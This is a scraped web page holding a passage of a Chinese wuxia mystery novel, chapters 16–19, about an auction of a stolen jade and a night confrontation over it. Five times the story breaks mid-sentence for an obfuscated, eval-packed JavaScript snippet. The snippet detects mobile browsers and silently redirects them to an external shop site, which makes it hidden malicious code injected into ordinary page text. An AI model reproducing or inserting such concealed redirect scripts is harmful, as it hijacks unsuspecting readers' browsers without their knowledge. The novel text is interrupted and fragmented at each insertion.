芸芸拭去眼泪,摇头笑道:“我喜欢这样的日子,万众瞩目,纸醉金迷,你不必为我操心,这支金钗,也留给你做个念想吧,你想看什么舞,我给你跳。” 经过这一段小插曲,芸芸小娘子对长孙菩提的态度,终于多了几分亲近,不再像一开始那样疏远客气。 长孙深深地看她一眼,将金钗重新放入袖中。 “那就跳一曲醉东风吧。” …… 琳琅阁内,几乎所有人都坐不住了,安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728844|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的场面一时沸腾起来,不少人伸长了脖子望向侍女手中那块晶莹剔透,流光溢彩的玉石。 无须琳琅阁的人介绍,哪怕对玉石毫无研究的人,也能知道这是块宝贝。 “天池玉胆,是这样的?”裴惊蛰忍不住出声。 他们都推测过,天池玉胆很可能会出现在琳琅阁拍卖上,但谁都没有想过竟会以如此光明正大的方式,如果解剑府这时候出面将玉石拿走,对方费尽心思谋划的一切不就落空了吗? “这会不会是假的?”他随即又想到这个可能性。 琳琅阁既然已经将这东西拿出来,现在再要让他们收回去,显然是来不及了,不管真假,都得先拿到手才能鉴别。 “由于此物来历不明,琳琅阁不敢下定论,故而起拍价相比其它宝物稍低,暂定为五贯,有意益价的贵客还请自行加价。” 中年人话音方落,就有人喊出六贯的价格,价格层层叠加,不一会儿就已经加到了五十贯,但场面依旧热火朝天,加价声此起彼伏,眼看一时片刻是不可能结束了,就连之前按兵不动的林雍,也加入了竞拍行列,直接喊出一百贯的价格,但随即又有人将价格抬上去。 “郎君,那我们——”裴惊蛰忍不住问凤霄。 这样一块宝玉,就算不是天池玉胆,应该也会引得无数人争相抢夺,更何况天池玉胆失窃的消息早已暗中传开来,不少消息灵通的人自然得了风声,才会使得这块宝玉远比之前所有物品都令人眼热。 凤霄道:“再等等。” 这一等,就等到了价格喊上三千两白银的时候,眼看加价的人依旧蠢蠢欲动,裴惊蛰在凤霄授意下,直接就喊出五千两白银,加上十颗南海金珠的价格。 场面一下子安静下来。 许多人循声朝裴惊蛰他们这里望来。 崔不去将大氅往下巴处拢了拢,身体微微侧坐,避开了许多不必要的视线。 凤霄还故意凑过来:“又不是小娘子,为何如此害羞,连看都看不得了?” 崔不去冷冷道:“你这么出风头,我怕跟你待在一起,晚上睡觉连脑袋没了都不知道。” 凤霄哈哈一笑,伸手揽上他的腰,暧昧道:“那你可以与我同床共枕啊,我保你高枕无忧!” 熟料崔不去忽然起身,以迅雷不及掩耳之势抽了凤霄一个大耳刮子,其速度之快,就连凤霄这样的武功高手,竟然都没有反应过来,生生挨上半下,才往后避开。 “你这厚颜无耻的登徒子,占了我妹妹就算了,竟然连我都不放过,贫道都躲到六工城来,都还躲不开你,难道这世上就没有王法了吗?!” 众目睽睽之下,崔不去声色俱厉,凛然不可侵犯,一张脸更是气得发白,令人想到雪中劲竹,摧而不折。 凤霄:…… 他没想到崔不去一路隐忍不发,却是在这里等着自己,万众瞩目之下,所有人看凤霄的眼神都变了。 凤霄心想,这真是阴沟里翻船,头一回,玩脱了。 16. 第 16 章 崔不去说罢,便捂嘴咳嗽起来。 咳嗽一声接一声,越发厉害,他不得不弯下腰,后背咳得微微震颤起来,如同在风中苦苦坚持的霜竹。 紫霞观在六工城这两个月名声鹊起,固然今日在场的并非个个都是本地人,但也有认识崔不去的,当下就大声道:“崔观主,你这是怎么了,可需要帮忙?” “光天化日之下竟还有这等肮脏不堪的龌龊事,崔观主,你快快下楼来,我们这就去报官!”也有人应和道。 崔不去咳嗽几声,苦笑道:“这位是解剑府的凤郎君,奉命前来调查于阗使者一案,他非说我与案子有关,将我强扣下来,你们便是去找县令,也是无用的,多谢你们的好意,我方才只是……实在忍无可忍罢了!” 他刚才咳得厉害,双目涌上生理性泪水,但没有人关心原因,所有人只看见崔不去面色虚弱,泪盈于睫的可怜模样。 就连对凤霄抱有好感的林雍见状,也忍不住怀疑起来:难道凤霄表面上眼光高,实际癖好与众不同,不单男女通吃,竟还专挑奄奄一息的病鬼下手? 这样一想,那凤霄对自己视而不见,似乎也就可以理解了。 林雍开始认真考虑自己是否也在凤霄面前装上一回西子捧心,但随后崔不去道出凤霄来历,却让他微微一震。林家与宫内搭上线,林雍的消息远较一般江湖人灵通,解剑府三个字意味着什么,自然也有所耳闻。自己先前不知凤霄身份,竟还对他怀有非分之想,此时回想起来,难免有些不自量力的滑稽感。 琳琅阁拍卖被迫中断,饶是中年人机变无双,一时也有些愣住,不知如何反应,直到凤霄哈哈一笑。 “都说鱼与熊掌不可兼得,我却偏要两全其美,令妹玉雪可爱,你又如此聪明,将你们都收了又如何?以解剑府在天子面前的地位,区区小事,还不值得扯上王法!阿崔,你那妹子已经被我调|教好了,现在就剩你了。你若肯跟我,保管从今往后,让你吃香喝辣,绝不委屈!” 他对崔不去露出邪笑,仿佛崔不去真有那么个妹子,已经被凤霄纳入房中,收为禁脔。 你有张良计,我有过墙梯,不就是破罐子破摔吗,谁又怕谁?崔不去冷笑一声:“可你这是正经喜欢人吗?我妹妹与我说,她和你在一起时,你总有些不可告人的嗜好,非但喜欢脱光了让她用鞭子抽你,还要抽得越疼越好,若是她抽得不够疼,你便将她折磨得死去活来,这些事情,只怕你都不敢让外人知道吧!” 满堂哗然。 裴惊蛰:…… 他已经完全麻木了,面无表情看着这两个人互相诋毁,将对方的名声往死里糟蹋。 林雍更是张大了嘴巴,一脸吃惊。 他心道,没曾想凤霄仪表堂堂,私底下竟有那样的嗜好,反观自己,虽说断袖之癖不足为外人道,但起码在其它方面还是正常的…… 凤霄嘴角抽搐了一下。 他觉得自己反应已经够快,对自己也够狠,没想到山外有山,人外有人,凭空居然冒出一个崔不去,比他还要狠。 二人面面相觑,大眼瞪小眼,片刻之后,凤霄决定暂时休战,料理正事。 他掸掸袖子,对中年人道:“此乃凤某私事,不劳各位关注,若有疑虑,可自行前往解剑府。今日拍卖还未结束,总不能如此草草了事吧?” 中年人如梦初醒,忙道:“是,这块美玉花落谁家还未可知,请各位贵客入座!” 崔不去重新坐下,神情悠然平静,他现在落入凤霄手中,虽然是意外,但也是他布下的一个局,自己既然也是局里的棋子,就不可能提前脱身,但能恶心一下凤霄也好。 众人被方才的插曲干扰,似乎还有些回不过神,玉胆后续没有人再加价,自然而然就落入凤霄手中,在那之后还有几件珍宝面世,同样被人争相竞价,凤霄却没有再参与,只等拍卖结束,带着裴惊蛰与崔不去,就离开了琳琅阁,回到秋山别院。 “崔观主这张嘴真是厉害,三言两语就坏了我们郎君的名声!”裴惊蛰回想刚才席上一幕,犹有些忿忿,他口舌不如凤霄灵便,当时那种场合,自然也想不出更厉害的话来反驳,若是当众对崔不去出手,反而更加落实了崔不去的话。 “我身上还有你们下的奈何香,说两句话出出气,也没什么大不了的吧,我方才没有当众吐血以示所言非虚,已经是给你们面子了。” 崔不去面色平淡,没了刚才故意作出来的疾言厉色,收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728845|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敛了一切气势的他坐在那里,平静如远山淡云。 裴惊蛰大为不快:“那你倒是吐一口血给我看看!” 话音方落,只见崔不去张口一咳,唇边鲜红流淌,衣服上立时多了斑斑痕迹。 裴惊蛰:?!! 他吓了一大跳,当即就一蹦三尺高,还差点冲上去看看崔不去有无大碍。 凤霄轻飘飘的声音传来:“傻子,那是桑葚汁。” 他定睛一看,那红色果然不是人血的暗红,而是红中带紫。 裴惊蛰:…… 崔不去抬袖,淡定抹去唇边汁水,没有半点被揭穿的尴尬。 “不小心呛了一下。” 裴惊蛰眼角抽搐不已,他想起来了,之前琳琅阁内,侍女送来几样果饮,崔不去就要了桑葚汁,但刚才在席上喝的桑葚汁,对方能含在口中直到现在才吐出来,也不是一件容易的事。 凤霄笑道:“去去啊,我现在是越看你越顺眼了,你真的不考虑一下解剑府吗,四府主虚席以待,我君子一言,驷马难追。” 崔不去:“君子一言,你是君子吗?” 凤霄:“好吧,就算我不是君子,小人一言,起码也能顶得上两匹马吧?还是说,你在左月局中的身份,其实远比我想象得还要高?” 崔不去:“我已经说了,我从未听过左月局。” 凤霄:“那我们就来说说这玉胆。” 他让裴惊蛰将拍回来的玉胆放置在桌上。 日光下,玉石流莹,光彩照人,他们几乎能从玉色辉映中窥见自己的倒影。 “方才竞拍的,连我在内一共六人,你知道他们的身份吗?” 崔不去嗯了一声:“雁荡山庄,林雍。于阗富商,周佩。博陵崔氏,崔皓。高句丽人,高宁。安陆张家,张映水。” 他似乎早就料到凤霄会有此一问,不必思考就一口气报出人名来历。 凤霄:“那你觉得,其中谁最可疑?” 裴惊蛰本以为崔不去会回答“我如何知道”之类的,谁料他这次却异常配合。 “周佩,他父亲是突厥人,据说与沙钵略可汗座下第一高手佛耳,是堂兄弟。以及,那个高句丽武者,高宁。” 17. 第 17 章 长孙菩提并不是一个耽于享乐的人。 他的性子在旁人看来甚至有些自苦,在左月局时,闲暇时候煮茶念经,过得比正经和尚还要枯燥,但他不以为苦,反而怡然自得。 此刻安坐全城男人趋之若鹜的女人香闺内,看她舞姿曼妙,雪白脚踝一旋,金环铃铛璁珑作响,长孙却全然没有好整以暇的心境,他端坐如松,双手交握,将佛珠拢在掌心,全神贯注的程度仿佛不是在欣赏一场舞蹈,而是在看一套绝世武功。 难为芸芸小娘子在春香坊也算见过不少场面,在这等灼灼注视下依旧能自如地将一支舞跳完。 “好看么?”她接过侍女送来的帕子拭去额头微汗,含笑问道。 “好看。”长孙只说了两个字,但听在芸芸耳中,却远比许多人长篇大论的溢美之词更为可信。 “那你今晚……”芸芸只说了四个字,便没有继续下去。 她原不是头一回留客了,但不知怎的,这次却有些难以启齿,也许是因为长孙的表情太正经了,正经到不太像是过来狎妓的。 虽然外面将芸芸小娘子一支舞吹得天花乱坠,捧得千金难求,但她心里很明白,说到底,自己也不过是一抹随波逐流的浮萍,命运无从选择,只能在渔网中作些徒劳无功的挣扎。 对方忽然朝她凑近,芸芸强装出来的淡定被粉碎殆尽,热度瞬间从脖颈窜上双颊,身体却变得不听使唤,想后退而不得,只能任凭对方的鼻息缠绕上自己。 “你身上的香气,很独特。”长孙道。 芸芸面红耳热:“是、是柑橘的香味,又加了淡淡的草木香气。” 长孙菩提:“很好闻。” 彼时二人几乎贴在一起,芸芸小娘子一把纤腰被有力的臂膀扣住,半分动弹不得,但她的心跳却愈快。 这个男人,比她以往见过的任何一个都要俊美,充满力量,更何况,两人之间,还有一段那样的缘分。 长孙菩提:“这香,是你自己调的吗?” 意乱情迷之下,芸芸小娘子几乎失去了任何防备:“不是,是有人帮我调的。” 长孙菩提:“你也让她帮我调一份。” “好……”芸芸喃喃道,忽然发现对方松开自己,她露出疑惑的表情。 长孙道:“现在还未天黑。” 芸芸倏地红了脸,白日宣淫的确不大妥当,哪怕他们这里与别处不同,但在长孙面前,她似乎尽力想要给对方留下好印象。 “那,郎君想做什么?妾再为您舞一曲?”她拢了拢鬓发,朱唇微启。 “我想,为你作一幅画。”长孙菩提道。 芸芸一怔。 长孙菩提道:“我见过宫廷乐舞,你的舞跳得不比她们差,我想将你画下来,让你自己也看一看。” 若是某个浪荡公子说出这番话,她也只会付之一笑,偏偏说话的男人眼神很专注,表情也很认真,让她下意识深信不疑。 从未有人,说要为她画一幅画。 芸芸垂首片刻,再抬起头时,已是笑容灿烂:“好。” 房外,红烛端着酒菜来到门口,只见房门紧闭,里头悄无声息。 她停住脚步,带着一丝忐忑兴奋,用肩膀悄然推开一条门缝,透过纱帘往里窥视,却发现里头并非她所想像的那样正在上演活春宫,芸芸正背对着她一动不动摆着姿势。 再看方才一掷千金生生闯进来的不速之客,此刻居然不是搂着美人亲吻,而是站在书案前挥毫作画。 红烛望着长孙菩提朦胧的轮廓看了半晌,眼中不掩歆羡嫉妒,但房中二人我行我素,似乎并非察觉房门外窥视的侍女。 最终她也感到无趣,撇撇嘴,悄无声息转身离开,端着酒菜准备回房自己享用,浑然不知自己身后多了一道白色的身影。 乔仙原本想要直接将她制住然后问话的,但看见对方的举动之后,就改变了主意。 每个人都有弱点,不怕他们弱点多,就怕找不到他们的弱点。 红烛的弱点已经足够明显。 换个方式问话,效果也许会更好。 …… 秋山别院之中,崔不去看着疑似天池玉胆的玉石,缓缓道:“如今高句丽是第二十五代国王,平原王高汤在位,高乃高句丽国姓,这高宁,虽然在中原少有人知,但在高句丽,却名声不小,据说他剑道出神入化,曾在十日之内,连败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728846|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高句丽、百济、新罗十二位绝顶高手,平原王大悦,授其高句丽第一高手之名号,许其在宫廷之内佩剑骑马,一时颇为荣耀。” 裴惊蛰刚刚被崔不去戏弄了一番,此时心有不服,忍不住就道:“高句丽东北小国,偏居一隅,只怕所谓的绝顶高手,也是吹嘘居多,与中原真正的高手没法比。” 崔不去却难得赞同地点点头:“不错。不过高宁此来,极有可能是冲着天池玉胆本身的药效,没有一个武者,不想更上一层楼,许多人终其一生就卡在瓶颈不得上下,若有玉胆相助,说不定能得一条通天捷径。” 裴惊蛰:“可那也只是道听途说,谁都没有验证过真假。” “足矣,但凡有一点希望,总有铤而走险之人。”凤霄敲了敲桌子,“说回正题,你们觉得,如果你们想将一件东西偷走,会让它现在众目睽睽之下露面,被所有人注意上吗?” 裴惊蛰道:“我会通过琳琅阁的关系,让它作为拍品之一,悄无声息从别人眼皮子底下带走,有了琳琅阁这层关系,出城时也很难搜查,现在还在牢里的大掌柜温凉,就能做到这一点。会不会是温凉被我们抓起来,他们计划失败,玉胆才会像现在这样被唱卖?” 凤霄摇摇头,他觉得事情不是这么简单,必定有哪个环节是自己所漏掉的。 这桩案子看上去简单,仅仅是杀人劫物,可内里层层剥开,又发现错综复杂,一道裹着一道,明明寻到一条线索,转眼却又被干扰打乱。 凤霄能感觉到,无形之中有几只手在将棋盘打乱,有的手是为了掩盖自己本身的目的,有的手却是故意为之,在混淆视听。 思及此,他不由望向崔不去。 后者察觉到他的目光,主动迎视,坦然无私。 两人视线相接,不约而同皮笑肉不笑,又都在下一刻敛去笑容。 死狐狸。凤霄在心里哂道。 四处招摇的夹竹桃精。崔不去暗暗冷笑。 夹竹桃,外表艳丽而有毒,对凤霄而言,再合适不过。 裴惊蛰没留意两人之间的暗潮汹涌,他认真思考了半天,迟疑道:“会不会,有两个天池玉胆,现在这个是假的,还有一个真的?” 18. 第 18 章 这样流光溢彩的宝物,一件已是难得,又上哪里去找第二件? 崔不去伸出手,覆于玉石之上,丝丝凉意从掌心传来。 在场三人都没见过真正的天池玉胆,自然也无从鉴定。 凤霄:“琳琅阁那边怎么说?” 裴惊蛰道:“我已问过琳琅阁的人,他们说这次拍卖的宝物,全都是大掌柜温凉一手操办,我又去审问温凉,他说这件东西,是昨日一名灰衣老仆送来的,装在一个平平无奇的木盒中,自称传家之宝,因家道中落,奉主人之命前来典当,而且指明的是死当,本来这种来历不明之物,琳琅阁是不肯收,因为有可能是哪户人家被仆从偷盗出来的贼赃,容易坏了琳琅阁的名声,但因为正好赶上一年一度的拍卖,温凉思忖再三,觉得即便是贼赃,拿出来拍卖,若正好此物主人在场识之,也方便物归原主,所以拍板作主,将这块玉石拿出来。” 崔不去:“如果不拿出来拍卖,此物会作何处置?” 裴惊蛰:“按照琳琅阁的规矩,会先放置一年,若没有主人寻来,便也会作拍卖处理,现在只是提前了一年。” 崔不去:“于阗那边是否还会派人过来?” 裴惊蛰看了看凤霄,见他点头,便对崔不去道:“有,于阗王新派的使者业已上路,我们派人在且末接应,但也要三五日之后才能抵达六工城。” 也就是说这三五日之内,没有人能够证明他们眼前这块玉石,就是真正的天池玉胆。 崔不去摩挲玉石,缓缓道:“今日你拍下这玉石的时候,起码有十个人盯着你看了许久,其中三个面露不满之意,两个眼中有杀机。” 这都注意到了?裴惊蛰有点惊奇,忍不住问:“都有谁?” 崔不去还真就说出来了:“皱眉不满的三人,分别是金环帮少帮主冷都;于阗富商周佩;安陆张家的张映水;面露杀机的二人,一个是身穿黑衣的突厥人,另一个年纪二十五六,一身灰衣,头戴笠帽,面目寻常,这两个人,我从未见过,也没看过他们出手,暂时无法判定身份。” “突厥人?”裴惊蛰一下子敏感起来。 凤霄却露出有趣的神色:“不管这天池玉胆是真是假,我一得手,肯定会有不少人找上门来。” 崔不去:“不错。” 裴惊蛰一惊:“难道他们敢与解剑府作对?” 崔不去讥讽一笑:“解剑府倚仗天子权威,令朝廷各部给三分面子,在江湖上又有何地位?这玉胆若真有伐筋吸髓,令人起死回生之效,又怎会不值得他们来抢?” 裴惊蛰张了张嘴,有心反驳,却一时想不出半句话来。 凤霄忽然轻笑。 “天寒露重,在外面听了那么久,怎么不干脆进来喝杯热茶?” 外面有人? 裴惊蛰竖起耳朵,他身手也不错,可从刚才到现在,愣是没发现外面有动静。 然而下一刻,一个轻轻浅浅,宛若春水的女声响起。 “奴家就怕屋里人太多太挤,坐不下了。” 果真有人! 裴惊蛰腾地起身。 凤霄随手拿起桌上装玉胆的盒子往房门的方向掷去。 他当然不是为了把房门打穿一个洞,拿盒子去丢外面的人,但见盒子在撞上房门的那一刻立时往反方向弹开,房门也因此受力自动打开,其中巧劲力道,非武功高手无法做到。 风顺着洞开的房门刮进来,一并进入三人视线的还有一名黄衣女子,对方坐在他们正对面屋子的屋檐上,双脚在半空悠悠晃荡,很是悠闲自在。 她面目寻常,毫无令人惊艳之处,与在场的凤霄一比,更如云泥之别,但只要一开口,就不会令人错认。 “深夜叨扰,奴家也很是过意不去,如果凤郎君愿意将玉石借我一看,我看完就走,绝不停留。” 裴惊蛰跟在凤霄身后步出房门,立刻就发现在外面的不止一个黄衣女子,左、右房顶,右边树下分别还站着三个人。 一个戴着白色幂离,一身白衣,从头白到脚,连男女都看不出来的神秘人。 一个身形高大,发色微黄,一看就是异域之人的男人。 以及一个面容冷峻,薄唇紧抿,眉间一道深痕,腰间挎着长剑的男人。 这么多高手站在外面,自己却一直没有察觉,意味着什么? 意味着如果一旦有了冲突,他根本帮不上凤霄的忙。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728847|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 裴惊蛰浑身汗毛一下子炸起。 黄衣女子似乎看出他的紧张,轻笑道:“小郎君不用害怕,奴家孤身前来,与他们可不是一伙的。” 崔不去低声咳嗽,也慢慢走到外面。 对比屋外几人衣裳单薄如同置身盛夏的情景,崔不去将氅衣紧紧裹在身上,脸色几近与雪色同白,一看就是久病之躯,没几天好活的样子,更勿论脚步虚浮,没有半点武功。 所有人的目光在他身上扫一圈,就不以为意地转开,再没放在心上。 凤霄负手而立,闲庭信步,却全无半分紧张,反而像是对今晚期待已久,目光闪闪,兴致盎然。 “还有两位,不如都出来了。” 在场众人谁也不说话,像是在等他口中的那两个人出现。 如此静默凝滞的氛围过了好一会儿,才有一道身影自角落阴影中缓缓步出,从身形判断,应该是个身材高挑的女子,但对方一半身体依旧隐没在月光照不到的黑暗中,仿佛那里才是她的归处。 裴惊蛰沉声道:“还有谁,藏头露尾算什么本事!” 黄衣女子为他解惑:“那人已经走了,若我没有猜错,应该是云海十三楼的杀手。” 听见云海十三楼的名头,凤霄与崔不去,都不约而同,神色微微一动。 云海十三楼是江湖上新崛起的隐秘门派,以雇佣杀人为主业,这世上总有些人的存在,妨碍到了另外一些人,但对方又不方便亲自下手,又或者没有能力自己动手,故而云海十三楼应运而生。 据说云海十三楼的生意很不错,但他们的胆子也因此越来越大,竟连朝廷官员都敢下手。上个月,刑部一位官员暴毙,解剑府暗中调查,发现对方死因蹊跷,或与谋杀有关,云海十三楼随之出现在解剑府二府主的桌案卷宗上。 杀手干的毕竟是不见光的勾当,对方见凤霄是个硬茬子,今晚又有如此多高手在,自己恐怕占不了便宜,便提前走了,也在常理之中。 只不过走了一个,还有五个。 崔不去不着痕迹环顾一周,低低咳嗽了两声,掩下一丝幸灾乐祸的笑意。 不知今晚这场群英会,夹竹桃精要如何应付? 19. 第 19 章 乔仙坐在茶寮中,看着碗中琥珀色微微荡漾,倒映出晚霞的茶汤发呆。 渐渐的,晚霞消失,摊主点上烛火,过来询问乔仙要不要来一碗热腾腾的汤面。 乔仙拒绝了。 她喝不惯苦中带咸的茶汤,在左月局时,人人都知道,尊使身边的乔仙最爱喝的是酸梅汤。 但这边陲之地,寒意未退的时节,寻不见酸梅汤的影子。 就在乔仙第五次举起茶碗,微微抿一口茶汤,又皱着眉头放下,终于等到了长孙菩提的出现。 遥遥的,对方从春香坊出来,对方似与乔仙早就约定好了,不紧不慢正好朝茶寮的方向走来。 “你迟了半个时辰。”待长孙坐下,乔仙就道。 长孙:“是你早了。” 乔仙:“打听到了什么?” 长孙难得迟疑片刻,才道:“她身上的香,是一个叫妙娘子的女人调的,对方熟谙各种香方,总能调出与众不同的熏香,芸芸之所以能在春香坊脱颖而出,也少不了熏香的功劳。” 若是崔不去或凤霄在此,听见妙娘子,立时就会想起那个失踪了的于阗使者之妾秦氏妙语,但他们并不在这里,长孙和乔仙二人也无从得知案件内情。 不过即便如此,长孙与乔仙,也大概能猜出崔不去让他们循着梅花冷香来调查的用意了。 “这个妙娘子,应该与尊使要找的人有关。”乔仙道,“但你与她厮磨了大半日,就查出这么点线索?” 长孙菩提看着她没说话,那意思是“你自己又查到什么”。 乔仙道:“我本欲跟踪她的侍女,谁知在外头看见那侍女对你的芸芸小娘子露出不满嫉妒的神色,便将计就计,假装受伤误入春香坊的江湖人,求她救治,装装可怜让她放下戒心,套点话罢了。” 她身上有种清冷出尘的美,若换了男儿身,清冷出尘就成了高冷禁欲,一样会令女人疯狂,而且看久了,就会发现乔仙似乎有点雌雄莫辨。 头一回,长孙菩提的目光在她脸上多停留了片刻,露出疑惑的表情。 “你,到底是男是女?” 乔仙淡淡道:“你修佛修了那么久,难道不知色即是空,一切表相皆为虚妄?” 长孙默然,将手上佛珠转了一圈,低低道了声阿弥陀佛。 “你说得对,是我着相了,佛法还没修到家。” 乔仙诧异:“你与那芸芸小娘子,难道什么也没发生?” 长孙平淡无波:“我问了话,按住她的晕穴,就离开了。” 她醒来之后,也许会记得长孙菩提,却不会记得自己是怎么昏睡过去的,只当春宵一度,春梦无痕。 从此天各一方,再不相见。 长孙菩提微微晃神,很快又被手上佛珠的触感拉回来。 “你查到什么?”他罕见地主动开口询问。 乔仙:“我从那侍女口中问出妙娘子的下落,她说芸芸在外面偷偷买了一座私宅,原本是准备给自己赎身之后住的,妙娘子帮助芸芸在春香坊站稳脚跟,她也投桃报李,请妙娘子在那私宅暂住栖身,我也想看看,那妙娘子到底是何方神圣。” 长孙菩提以表情询问:天黑了,怎么还不动身? 乔仙不答,叫来店家,让他上两碗汤面。 “时辰还早,吃了汤面,再走也不迟。” 长孙菩提点点头。 他其实并不擅长套话当细作,若是让他选择,他宁肯提着刀剑去与敌人拼杀,方才虽然芸芸小娘子十分配合,但从春香坊走出来时,长孙菩提紧抿的唇角依旧泄露了他的紧张。 直至此刻,方才稍稍放松。 乔仙看了他片刻,忽然道:“左月局的人,比起解剑府,还是少了。” 若尊使座下能有一个智勇双全的人物,这次也许就不必尊使亲自出马设局布阵了。 “与其看着尊使动辄卧病在床十天半个月,我倒宁愿他多奔波些,病反而少了。”长孙难得说了一个长句。 乔仙皱眉:“但他在凤霄手下,一定不好过。” 说话间,面已送上,二人不再说话,默默吃面喝汤。 汤面是再普通不过的素面,面粉不如京城的好,汤底自然也是井水煮开的白水,上面撒点野菜葱花,半点荤腥都不见,这便是市井人家的一顿饱食了。 这样的面,比起长孙与乔仙以往吃的,自然滋味要差许多,但饥肠辘辘加上天气寒冷,一碗热汤下肚,却足够让胃变得暖呼呼,暖意足以蔓延全身,将疲惫一扫而空。 乔仙与长孙此刻心里却不约而同想到了一件事。 要是尊使在这里就好了,也不知他现在能不能喝上一碗热汤面? …… 崔不去自然没有热汤面喝,非但没有,他还得站在屋外经受寒风,压抑咳嗽的欲望。 但他的心情却很不错。 因为在他面前的凤霄正陷入以一对五的僵局。 “将屋内的玉石拿来。”他听见凤霄对裴惊蛰道。 裴惊蛰愣了一下,不知凤霄想做什么,但还是转身入内,很快捧来玉石。 今夜月色不错,玉石在裴惊蛰手中越发光彩焕发,晶莹剔透的玉心中,还能看见丝丝绿意流淌。 不管是不是天池玉胆,毫无疑问,这都是一块质地上佳的美玉。 在场之人看着玉石,眼中异彩连连。 凤霄环胸而立,好整以暇道:“你们都是为了玉石而来的?” 五名不速之客中,除了黄衣女子刚才自陈是想借玉石一观之外,其余四人,都默不吭声,并未表明身份来意。 尴尬的寂静中,谁也不肯先开口,似乎在比谁的耐性好。 凤霄不着急,崔不去更不着急,微微焦虑的只有裴惊蛰一人。 他知道自己修养不够,不肯给凤霄丢脸,默默深吸了口气,努力捺下心头躁动。 又是黄衣女子当先打破安静:“奴家第一个出现,也不想与解剑府为敌,我一个弱女子,在这冷风里吹了大半夜,还请凤郎君可怜可怜我,借我看一看,我也好回去有个交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728848|189580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 代。” 她盈盈浅笑,本因长相平平而令人毫无印象的脸,却因声音动听,让在场之人不由往她那里看了一眼。 崔不去不着痕迹扫了一圈,发现在场之中,只有两个人没看黄衣女子,一是那个戴着幂离,男女莫辨的白衣人,还有一个,则是那突厥人。 突厥人的注意力,自始至终,都在凤霄身上。 只有心无旁骛的高手,才不会被任何外部因素所干扰。 至于半身隐没在阴影中的黑衣人…… 对方侧着身体,远远站着,左手虚握着右手手腕,不时抚一两下。 崔不去的眼睛微微眯了一下。 凤霄并未去观察其他人,他的眼睛一直都看着黄衣女子,好像这院中的来客,只有她一个。 看见对方笑,他也跟着笑:“冲着你这样有礼,我也该将玉石先借给你瞧瞧,不过我连你芳名住址都不知道,万一你拿了就跑,我以后要去哪里寻你?” 黄衣女子福身道:“奴奴冰弦。” 凤霄挑眉:“姓冰?这姓氏倒是少见。” 冰弦:“姓氏名字,不过加诸在外的称呼罢了,譬如凤郎君您,便是不叫这个名字,也一样风华绝代,无人可比。不是吗?” 凤霄哈哈一笑:“比起那几个无礼之人,还是你说话最得我心!你这样善解人意,不如来我解剑府,我保管怜香惜玉,绝不让你大半夜还坐在屋顶上吃冷风!” 冰弦莞尔,正想说点什么,就见凤霄忽然抄过裴惊蛰手中的玉胆,朝她抛过来。 “既然看你最顺眼,玉就先借给你看了!” 冰弦大吃一惊,万万没想到凤霄说扔就扔,当下想也不想,纤纤足尖一点,身体若轻鸿过空,扑向玉石! 但她快,还有人比她更快。 那头戴幂离的白衣人,还有眉间深痕的灰衣人,也都几乎同时将手抓向玉石。 突厥人却看也不看玉石一眼,手中长刀蓦地出鞘,刀气澎湃若山崩海啸,霎时铺天盖地涌向凤霄。 刀气之盛,连带站在他身后的崔不去,也只觉飓风袭来,身体便不由自主往后疾退,眼看就要重重撞上墙壁,衣襟被人猛地一扯,他眼睛一花,发现已被凤霄抱在怀里。 